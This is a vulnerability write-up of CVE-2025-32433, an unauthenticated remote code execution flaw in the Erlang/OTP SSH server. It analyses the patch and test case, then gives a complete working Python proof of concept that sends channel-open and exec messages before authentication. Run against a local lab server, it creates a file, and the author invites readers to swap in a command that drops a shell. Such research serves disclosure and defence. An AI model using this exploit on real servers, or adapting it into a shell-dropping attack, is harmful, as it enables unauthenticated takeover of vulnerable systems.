CVE-2025-32433 - State Machine Err-ly RCE in Erlang/OTP SSH Server

Analysis and AI-free™ PoC.
Author

Konstantin Lazarev

Published

April 22, 2025

CVE-2025-32433 is a remote code execution vulnerability in the SSH server implementation within Erlang’s OTP libraries (affecting versions <OTP-27.3.3, <OTP-26.2.5.11, and <OTP-25.3.2.20). It received a legendary CVSS score of 10.0 and became known as a vulnerability for which AI-assisted exploit development process was used.


Analysis

I like looking at the protocol RFCs and attempting to read the code written in unfamiliar programming languages, so here’s another, boots-on-the-ground approach to vulnerability analysis and PoC development.

My test VM is Ubuntu Jammy, thus I’m interested in <OTP-25.3.2.20. Fetching and installing Erlang:

~/Downloads % wget https://binaries2.erlang-solutions.com/ubuntu/pool/contrib/e/esl-erlang/esl-erlang_25.3.2-1~ubuntu~jammy_amd64.deb

~/Downloads % sudo dpkg -i esl-erlang_25.3.2-1\~ubuntu\~jammy_amd64.deb && sudo apt --fix-broken install

Checking if Erlang shell is working:

~/Downloads % erl
Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns]

Eshell V13.2.2  (abort with ^G)
1>

For Erlang/OTP 25, this commit contains a patch, and has two peculiar snippets added:

lib/ssh/src/ssh_connection.erl

<SNIP>
handle_msg(#ssh_msg_disconnect{code = Code, description = Description}, Connection, _, _SSH) ->
    {disconnect, {Code, Description}, handle_stop(Connection)};

handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) ->
    %% See RFC4252 6.
    %% Message numbers of 80 and higher are reserved for protocols running
    %% after this authentication protocol, so receiving one of them before
    %% authentication is complete is an error, to which the server MUST
    %% respond by disconnecting, preferably with a proper disconnect message
    %% sent to ease troubleshooting.
    MsgFun = fun(M) ->
                    MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts),
                    io_lib:format("Connection terminated. Unexpected message for unauthenticated user."
                                " Message:  ~w", [M],
                                [{chars_limit, MaxLogItemLen}])
            end,
    ?LOG_DEBUG(MsgFun, [Msg]),
    {disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)};
<SNIP>

and

lib/ssh/test/ssh_protocol_SUITE.erl

<SNIP>
early_rce(Config) ->
    {ok,InitialState} =
        ssh_trpt_test_lib:exec([{set_options, [print_ops, print_seqnums, print_messages]}]),
    TypeOpen = "session",
    ChannelId = 0,
    WinSz = 425984,
    PktSz = 65536,
    DataOpen = <<>>,
    SshMsgChannelOpen = ssh_connection:channel_open_msg(TypeOpen, ChannelId, WinSz, PktSz, DataOpen),

    Id = 0,
    TypeReq = "exec",
    WantReply = true,
    DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>,
    SshMsgChannelRequest =
        ssh_connection:channel_request_msg(Id, TypeReq, WantReply, DataReq),
    {ok,AfterKexState} =
        ssh_trpt_test_lib:exec(
        [{connect,
            server_host(Config),server_port(Config),
            [{preferred_algorithms,[{kex,[?DEFAULT_KEX]},
                                    {cipher,?DEFAULT_CIPHERS}
                                ]},
            {silently_accept_hosts, true},
            {recv_ext_info, false},
            {user_dir, user_dir(Config)},
            {user_interaction, false}
            | proplists:get_value(extra_options,Config,[])]},
        receive_hello,
        {send, hello},
        {send, ssh_msg_kexinit},
        {match, #ssh_msg_kexinit{_='_'}, receive_msg},
        {send, SshMsgChannelOpen},
        {send, SshMsgChannelRequest},
        {match, disconnect(), receive_msg}
        ], InitialState),
    ok.
<SNIP>

As previously stated, I’m not familiar with Erlang and its syntax, but snippet #1, lib/ssh/src/ssh_connection.erl, is well-annotated and readable enough. The key parts for me are this check:

Ssh = #ssh{authenticated = false}

and Message numbers of 80 and higher are reserved for protocols running after this authentication protocol comment.

Sometimes peeking at the source code of a Wireshark dissector is quicker than reading the protocol RFC, so I head out here hoping to find out what SSH protocol messages > #80 do:

epan/dissectors/packet-ssh.c

<SNIP>
/* User authentication protocol: generic (50-59) */
#define SSH_MSG_USERAUTH_REQUEST    50
#define SSH_MSG_USERAUTH_FAILURE    51
#define SSH_MSG_USERAUTH_SUCCESS    52
#define SSH_MSG_USERAUTH_BANNER     53

/* User authentication protocol: method specific (reusable) (50-79) */
#define SSH_MSG_USERAUTH_PK_OK      60

/* Connection protocol: generic (80-89) */
#define SSH_MSG_GLOBAL_REQUEST          80
#define SSH_MSG_REQUEST_SUCCESS         81
#define SSH_MSG_REQUEST_FAILURE         82

/* Connection protocol: channel related messages (90-127) */
#define SSH_MSG_CHANNEL_OPEN                90
#define SSH_MSG_CHANNEL_OPEN_CONFIRMATION   91
#define SSH_MSG_CHANNEL_OPEN_FAILURE        92
#define SSH_MSG_CHANNEL_WINDOW_ADJUST       93
#define SSH_MSG_CHANNEL_DATA                94
#define SSH_MSG_CHANNEL_EXTENDED_DATA       95
#define SSH_MSG_CHANNEL_EOF                 96
#define SSH_MSG_CHANNEL_CLOSE               97
#define SSH_MSG_CHANNEL_REQUEST             98
#define SSH_MSG_CHANNEL_SUCCESS             99
#define SSH_MSG_CHANNEL_FAILURE             100
<SNIP>

Message numbers look sequential, so at 80+ the RCE magic likely happens after the handshake, key exchange, and bypassing the authentication phase. It seems that before the patch, Erlang/OTP SSH server had no state machine case that would handle out-of-order protocol messages.

Erlang snippet #2 above, lib/ssh/test/ssh_protocol_SUITE.erl is a freshly added test case, and contains obvious hints about the specific SSH protocol messages I’ll need to send in order to achieve RCE - MSG_CHANNEL_OPEN followed by MSG_CHANNEL_REQUEST.

Attack plan:

  • Connect over SSH normally until the key negotiation/exchange phase is complete
  • DO NOT PERFORM AUTHENTICATION
  • Craft and send MSG_CHANNEL_OPEN
  • Follow up with MSG_CHANNEL_REQUEST
  • ????
  • PROFIT!!1

PoC time

Note that I resolve to using paramiko/common.py for message type constants and paramiko/message.py that contains Message class and its respective methods. This way, I could break the normal SSH flow without Paramiko throwing exceptions at me, and still send the RFC-compliant messages. Relevant sections from RFC4254:


 6.1.  Opening a Session

   A session is started by sending the following message.

    byte    SSH_MSG_CHANNEL_OPEN
    string  "session"
    uint32  sender channel
    uint32  initial window size
    uint32  maximum packet size

 6.5.  Starting a Shell or a Command
<SNIP>
   This message will request that the user's default shell (typically
   defined in /etc/passwd in UNIX systems) be started at the other end.

    byte    SSH_MSG_CHANNEL_REQUEST
    uint32  recipient channel
    string  "exec"
    boolean   want reply
    string  command


CVE-2025-32433.py

#!/usr/bin/env python3
import logging
import socket
import time

import paramiko
from paramiko.common import cMSG_CHANNEL_OPEN, cMSG_CHANNEL_REQUEST
from paramiko.message import Message

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('paramiko')
logger.setLevel(logging.DEBUG)


def main():
    try:
        client = paramiko.SSHClient()

        print('Connecting to localhost:10022...\n')
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('localhost', 10022))

        transport = paramiko.Transport(sock)
        transport.start_client()

        print('\nSSH handshake / KEX complete :)\n')

        client._transport = transport

        m = Message()
        m.add_byte(
            cMSG_CHANNEL_OPEN)  # https://github.com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L523
        m.add_string("session")  # channel type
        m.add_int(0)  # channel id
        m.add_int(425984)  # window size
        m.add_int(65536)  # max packet size
        print(f"Sending cMSG_CHANNEL_OPEN...")
        transport._send_message(m)

        time.sleep(0.5)

        m2 = Message()
        m2.add_byte(
            cMSG_CHANNEL_REQUEST)  # https://github.com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L531
        m2.add_int(0)  # channel id
        m2.add_string("exec")  # request type
        m2.add_boolean(False)  # don't wait for reply
        m2.add_string("os:cmd('touch /tmp/erl/nevergonnagiveyouup').")  # https://www.erlang.org/doc/apps/kernel/os.html#cmd/2
        print("Sending cMSG_CHANNEL_REQUEST, check RCE...")
        transport._send_message(m2)

    except Exception as e:
        print(f'Error: {e}')
    finally:
        try:
            client.close()
        except:
            pass


if __name__ == '__main__':
    main()

Starting vulnerable Erlang SSH server locally:

~ % mkdir -p /tmp/erl && ssh-keygen -q -N "" -t rsa -f /tmp/erl/ssh_host_rsa_key
                                             
~ % erl
Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns]

Eshell V13.2.2  (abort with ^G)
1> {ok, _} = application:ensure_all_started(ssh).
{ok,[crypto,asn1,public_key,ssh]}
2> Port = 10022.
10022
3> ssh:daemon(Port, [{system_dir, "/tmp/erl"}]).
{ok,<0.96.0>}
4> inet:i().
Port Module   Recv Sent Owner   Local Address Foreign Address State     Type   
40   inet_tcp 0 0   <0.98.0> *:10022    *:*             ACCEPTING STREAM
ok

Running PoC:

~ % ./CVE-2025-32433.py
Connecting to localhost:10022...

DEBUG:paramiko.transport:starting thread (client mode): 0xe7770910
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_3.5.0
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-Erlang/4.15.3
INFO:paramiko.transport:Connected (version 2.0, client Erlang/4.15.3)
DEBUG:paramiko.transport:=== Key exchange possibilities ===
DEBUG:paramiko.transport:kex algos: ecdh-sha2-nistp384, ecdh-sha2-nistp521, ecdh-sha2-nistp256, diffie-hellman-group-exchange-sha256, diffie-hellman-group16-sha512, diffie-hellman-group18-sha512, diffie-hellman-group14-sha256, curve25519-sha256, curve25519-sha256@libssh.org, curve448-sha512, ext-info-s
DEBUG:paramiko.transport:server key: rsa-sha2-256, rsa-sha2-512
DEBUG:paramiko.transport:client encrypt: chacha20-poly1305@openssh.com, aes256-gcm@openssh.com, aes256-ctr, aes192-ctr, aes128-gcm@openssh.com, aes128-ctr, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc
DEBUG:paramiko.transport:server encrypt: chacha20-poly1305@openssh.com, aes256-gcm@openssh.com, aes256-ctr, aes192-ctr, aes128-gcm@openssh.com, aes128-ctr, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc
DEBUG:paramiko.transport:client mac: hmac-sha2-256-etm@openssh.com, hmac-sha2-512-etm@openssh.com, hmac-sha2-256, hmac-sha2-512, hmac-sha1-etm@openssh.com, hmac-sha1
DEBUG:paramiko.transport:server mac: hmac-sha2-256-etm@openssh.com, hmac-sha2-512-etm@openssh.com, hmac-sha2-256, hmac-sha2-512, hmac-sha1-etm@openssh.com, hmac-sha1
DEBUG:paramiko.transport:client compress: none, zlib@openssh.com, zlib
DEBUG:paramiko.transport:server compress: none, zlib@openssh.com, zlib
DEBUG:paramiko.transport:client lang: <none>
DEBUG:paramiko.transport:server lang: <none>
DEBUG:paramiko.transport:kex follows: False
DEBUG:paramiko.transport:=== Key exchange agreements ===
DEBUG:paramiko.transport:Kex: curve25519-sha256@libssh.org
DEBUG:paramiko.transport:HostKey: rsa-sha2-512
DEBUG:paramiko.transport:Cipher: aes128-ctr
DEBUG:paramiko.transport:MAC: hmac-sha2-256
DEBUG:paramiko.transport:Compression: none
DEBUG:paramiko.transport:=== End of kex handshake ===
DEBUG:paramiko.transport:kex engine KexCurve25519 specified hash_algo <built-in function openssl_sha256>
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:Got EXT_INFO: {'server-sig-algs': b'ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256,ssh-ed25519,ssh-ed448,rsa-sha2-256,rsa-sha2-512'}

SSH handshake / KEX complete :)

Sending cMSG_CHANNEL_OPEN...
Sending cMSG_CHANNEL_REQUEST, check RCE...
                                                                                             
~ % ls /tmp/erl
nevergonnagiveyouup  ssh_host_rsa_key  ssh_host_rsa_key.pub

Modifying PoC to run a different command / drop a shell is an easy part and is left to your discretion. ;)
Thanks for reading!